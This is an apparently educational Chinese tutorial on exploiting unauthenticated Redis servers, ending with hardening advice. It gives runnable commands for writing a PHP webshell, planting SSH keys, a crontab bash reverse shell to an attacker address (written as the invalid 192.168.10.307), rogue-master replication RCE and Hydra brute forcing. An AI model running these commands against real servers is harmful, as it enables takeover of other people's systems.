Redis
redis 是一个C语言编写的 key-value 存储系统,可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。 Redis服务的默认端口是 6379。
常用命令
- 查看信息:info
- 删除所有数据库内容:flushall
- 刷新数据库:flushdb
- 查看所有键:keys *,使用select num可以查看键值数据
- 设置变量:set aaa “mi1k7ea”
- 查看变量值:get aaa
- 查看备份文件路径:config get dir
- 设置备份文件路径:config set dir dirpath
- 查看备份文件名:config get dbfilename
- 设置备份文件名:config set dbfilename filename
- 保存备份文件:save
漏洞环境搭建
这里搭建漏洞版本的Redis服务,同时配置服务进行全网监听:
# 下载并解压运行make
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar zxf redis-3.2.11.tar.gz
cd redis-3.2.11/
make
# 进入src目录中将redis-server和redis-cli复制到/usr/bin目录下,方便命令识别
cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
# 将redis.conf复制到/etc/目录下
cd ..
cp redis.conf /etc/
# 编辑/etc/中的redis配置文件redis.conf
vim /etc/redis.conf
# 注释掉本地绑定,允许除本地外的主机远程访问Redis服务
# #bind 127.0.0.1
# 关闭保护模式,允许远程连接Redis服务
# protected-mode no 公网可连
# 使用/etc/目录下的redis.conf文件中的配置来启动Redis服务
redis-server /etc/redis.conf
链接 redis
redis-cli -h 公网IP或虚拟linux搭建的IP -p 6379
安全配置密码验证
我们可以通过Redis的配置文件设置密码参数,这样客户端连接到Redis服务就需要密码验证,这样可以让你的Redis服务更安全,进而杜绝了未授权访问漏洞。
我们可以通过以下命令查看是否设置了密码验证:
127.0.0.1:6379> CONFIG GET requirepass
1) "requirepass"
2) ""
默认情况下 requirepass 是控的,这就意味着你不用密码就能链接Redis 服务器
可以使用以下命令来修改该参数
127.0.0.1:6379> CONFIG set requirepass "snowy"
OK
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) "snowy"
这时候 你再 get reuirepass 的时候,他就会提示需要认证,否则无法执行命令:
密码验证 用到AUTH命令,如下:
AHUTH password
如
这时就可以执行命令了:
Redis 漏洞攻击利用
Redis漏洞包括未授权访问漏洞所引起的一系列深入攻击利用以及其他一些已知的Redis CVE漏洞,在CTF中 也是经常可以见到的
未授权访问漏洞
由于配置不正确的原因,导致Redis 服务暴露在公网上(即绑定在0.0.0.0:6379),并且没有开启相关的认证和添加相关安全策略的情况下,会存在 未授权访问漏洞 。
攻击者在未授权访问Redis的情况下,可以获取数据库的所有数据、删除数据库数据等,进一步地可以利用Redis相关方法来实现写入WebShell、写入Crontab定时任务、写入SSH公钥以及利用主从复制RCE等一系列的攻击利用,将Redis未授权访问漏洞的危害无限放大。
敏感信息泄露与 数据库内容删除
因为我们前面介绍了知道, Redis 是以 key- value 的形式存储数据的,而value 可以是很多种类型的数据,如String ,array等,我们使用Redis 的语句可以获取数据库中存储的敏感信息,这里为了方便,直接通过 keys * 来获取所有的键,然后再通过get 命令 获取其value 。(keys * 相当于是数据库中 select * from * 的操作,一般不会这么使用。)
info 可以看到redis 版本,OS内核,配置文件路径等:
向web 目录写入Webshell
前提是 Redis 所在的机器 开启了 Web 服务,且已知 Web 服务目录路径
原理就是在Redis中插入一条数据,将WebShell代码作为value,key值随意,然后通过修改数据库的默认路径为Web服务目录和默认的缓存文件为WebShell文件,最后通过save命令以备份的方式把缓存的数据保存在文件里,这样就可以在服务器端的Web目录下生成一个WebShell文件。
具体步骤就是先写入一哥含有 WebShell 代码的键值对,然后设置 备份目录 为 Web 目录。接着设置备份名 为Webshell 的文件名,最后通过save 命令保存文件到本地。 如:
set payload "<?php @eval($_POST[c]);?>" //key - value
config set dir /var/www/html/ // 修改数据库的默认路径为Web服务目录
config set dbfilename shell.php //设置默认的缓存文件为WebShell文件
save //保存
在服务端是可以看到生成的shell.php 文件的,其内容如下,包含了一句话木马
由于php 的容错性质,该PHP代码是能够正常执行的:
写入SSH公钥直接登录
前提是 Redis 服务是以root 权限运行的,其作用可能是未授权登录了,再种下个公钥以便后期登录(个人理解)
原理和前面一样的,只是备份的目录和文件名修改为/root/.ssh/目录和authorized_keys文件名。
现在服务器上生成 公私钥:
ssh-keygen -t rsa
ubuntu 获取公钥内容cat /home/ski12/.ssh/id_rsa.pub:
centos 获取公钥内容:cat /root/.ssh/id_rsa.pub
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHNnmaLT5dN/AcIRmVEavvtmZ4nMj7D1kzVkUAPudpdy1UxrILT/UGRgCyLR4Fp/pSvjSooDsWW3uoGzMberOhiiv8Oa/0NLGlaa/9B84CWMXTNAKvB6ODDBHNrbREv1oNZ6JLLosohxlQ22aG17gM1YGiUnNoeOpXmJTaLAVTkkZZNQPRdnwg+eivAAT9iCzo1mwy80BZRrvEeNI3u5mGK5N0iZZIj765bG7VUTfyKa5Bkc00Dq4aIvUp7c2ZnDCmzcrCRbRkFTujh/mkMNXEzmMl7yE3HqEeMW0UcaRPDOINvgAW3A+4Ks4PJlJ4WGbTjm+wFPiHitDB8XywoKhn root@iZwz9338rfviy0xs1mckegZ\n\n"
通过Redis 客户端将公钥 内容写入到 /root/.ssh/authorized_keys 文件中,注意保存key 的时候加上两个 \n 是为了避免和 Redis 里的其他缓存数据混合了:
此时 看到服务器种 /root/.ssh/目录就生成成功了一个authorized_keys 文件:
接着在 普通客户机上 使用密钥直接ssh 链接到服务端 即可得到shell
写入定时任务反弹shell~
该方法 只能CentOS 上使用,刚好我就是centos。 Ubuntu、Debian上行不通。原因如下:
- 权限问题,Ubuntu定时任务需要root权限;
- Redis备份文件存在乱码,而Debian和Ubuntu对定时任务的格式校验很严格,因此在Debian和Ubuntu上会报错,而在CentOS上不会报错;
原理和前面是一样的,只是备份的目录和文件名修改了下:
config set dir /var/spool/cron/crontabs/ #设置默认目录
config set dbfilename root #设置缓存文件
set payload "\n\n* * * * * bash -i >& /dev/tcp/192.168.10.307/666 0>&1\n\n" #反弹shell
save
注意,不同类型、版本的OS的crontabs所在路径会有所区别。
其他的利用
任何可利用Redis未授权访问漏洞来写文件的地方都能被进行恶意利用,除了前面几项利用方式外,还有以下收集的几个在Linux或Windows下的利用方式。
写入/etc/passwd文件实现任意账号密码重置:访问的文章审核中... - FreeBuf网络安全行业门户
写入Windows启动项:Redis未授权访问在windows下的利用-安全客 - 安全资讯平台
写入Windows MOF:Redis未授权访问在windows下的利用-安全客 - 安全资讯平台
利用主从复制RCE
基本概念:
如果把数据存储在单个Redis中,而读写体量比较大的时候,服务端的性能就会大受影响。为了应对这种情况,Redis就提供了主从模式。
主从模式是指使用一哥Redis 作为主机,其他Redis 则作为从机 也就是备用机。其中主机和从机数据相同,主机只负责写,从机只负责读,通过读写分离可以大幅度减轻流量的压力,即是一种通过牺牲空间来换取效率的缓解方式。
攻击利用
属于 未授权访问的一种利用方式
4.x、5.x 版本的Redis提供了主从模式。在 Redis 4.x 之后,通过外部扩展,可以在Redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机可以通过FULLRESYNC同步文件到从机上,然后在从机上加载恶意so文件,即可执行命令。
- 全量复制是将数据库备份文件整个传输过去从机,然后从机清空内存数据库,将备份文件加载到数据库中;
- 部分复制只是将写命令发送给从机;
因此 ,想要复制备份文件的话 就需要设置Redis 主机的传输方式为全量传输
思路就是我们需要模拟协议 收发包就能伪装成 Redis主机 使被攻击的 Redis 服务器成为 从机
利用工具如下:
生成恶意so 文件
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
伪造Redis主机的脚本
git clone https://github.com/Ridter/redis-rce.git
首先要生成恶意so文件,下载第一个工具然后make即可生成。
然后在攻击者机器上执行如下命令即可成功RCE:
python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
也可以使用此脚本脚本:
wget https://github.com/n0b0dyCN/redis-rogue-server/
cd RedisModulesSDK/exp/
make
两者都能成功 但前提是 redis 的版本一定是 redis4.x-5.x的版本
用Hydra暴力破解Redis密码
kali自带 Hydra 对Redis密码进行暴力破解:
hydra -P 字典 redis://ip
Python urllib CRLF注入打本地Redis服务
如果目标站点使用了Python漏洞版本的urllib库,并且请求的url外部可控,那么就可能存在内网被探测的风险,如果本机或内网服务器中装有未授权访问漏洞的Redis,那么服务器就存在被getshell的风险。
原理和组合SSRF漏洞完全一样,通过CRLF注入来利用Redis向Crontab写入反弹shell的定时任务。
具体可参考:Hack Redis via Python urllib HTTP Header Injection
历史CVE漏洞
Redis远程代码执行漏洞(CVE-2016-8339)
CVE-2015-8080
CVE-2015-4335
CVE-2013-7458
防御方法
- 禁止公网开放Redis服务,可以在防火墙上禁用6379端口;
- 修改Redis服务端口为其他非常见的端口号;
- 配置Redis的密码访问验证;
- 禁用不使用的高危命令;
- 重命名高危命令的名称;
- 以低权限运行Redis服务,禁止用root等最高权限运行;
- 确保authorized_keys文件的安全,尽量阻止其他用户添加新的公钥;
参考链接
记一次Redis+Getshell经验分享 - FreeBuf网络安全行业门户
Redis 基于主从复制的RCE利用方式
Redis安全小结 [ Mi1k7ea ]